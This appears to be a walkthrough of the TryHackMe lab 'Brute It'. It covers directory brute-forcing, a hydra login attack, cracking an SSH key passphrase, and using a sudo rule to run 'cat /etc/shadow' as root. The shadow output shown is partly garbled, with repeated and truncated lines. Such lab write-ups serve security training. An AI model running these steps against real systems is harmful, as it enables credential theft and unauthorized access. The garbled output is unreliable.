

TryHackMe

Brute It

tryhackme.com/room/bruteit

Walkthrough

Вν

tryhackme.com/p/iLinxz

NMAP Scan:

Great, what can we do? Well, we do not have too many attack vectors, and that OpenSSH version is telling me to 'go away'. Let's hop in on port 80.

When visiting port 80, we are greeted by a "fresh apache install" page:



Apache2 Ubuntu Default Page

It works!

This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed at this site is working properly. You should **replace this file** (located at /var/www/html/index.html) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means that the site is currently unavailable due to maintenance. If the problem persists, please contact the site's administrator.

Checked the source and nothing useful came up, let's fire up a gobuster session.

```
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)

[+] Url: http://10.10.203.207
[+] Threads: 10
[+] Wordlist: /home/kali/Desktop/Wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s

2020/11/28 12:49:23 Starting gobuster

/admin (Status: 301)
```

Looks like we have a hit. Let's check it out.

LOGIN	
USERNAM	E
PASSWORI	D
	LOGIN

Looks like a standard login page. Judging by the name of the room, we're going to have to use hydra.

Sweet, we have got some credentials.

Let's log in.

After passing the log in screen, we are greeted by this:

Hello john, finish the development of the site, here's your RSA private key.

THM{

We get a private key and a flag, great. Let's SSH in as John using the private key.

Before SSHing in, we need to crack the private key's password. We'll use john for this.

Change the key's permissions and we can then SSH in as john.

[Hacker Voice] I'm in.

You can look around but you'll waste your time. Hit 'sudo -l' and see what you can do.

```
john@bruteit:~/.cache$ sudo -l
Matching Defaults entries for john on bruteit:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/shap/bin
User john may run the following commands on bruteit:
        (root) NOPASSWD: /bin/cat
john@bruteit:~/.cache$
```

Oh! John can run cat as root without even inputting a password. Great! Let's take a look at /etc/shadow.

```
john@bruteit:~/.cache$ sudo -u root /bin/cat /etc/shadow
```

```
root:$6$zdk0.jUm$Vya24
daemon:*:18295:0:999997:::
sys:*:18295:0:999997:::
sys:*:18295:0:999997:::
sys:*:18295:0:999997:::
games:*:18295:0:999997:::
lp:*:18295:0:999997:::
lp:*:18295:0:999997:::
lp:*:18295:0:999997:::
lp:*:18295:0:999997:::
lp:*:18295:0:999997:::
lucp:*:18295:0:999997:::
lucp:*:18295:0:999997:::
lucp:*:18295:0:999997:::
list:*:18295:0:999997:::
list:*:18295:0:9999997:::
list:*:18295:0:999997:::
list:*:18295:0:999997:::
list:*:
```

We have all the user's password hashes.

Let's crack root's password. I used the rockyou wordlist.

Log in as root, get the flag and done. Easy Box.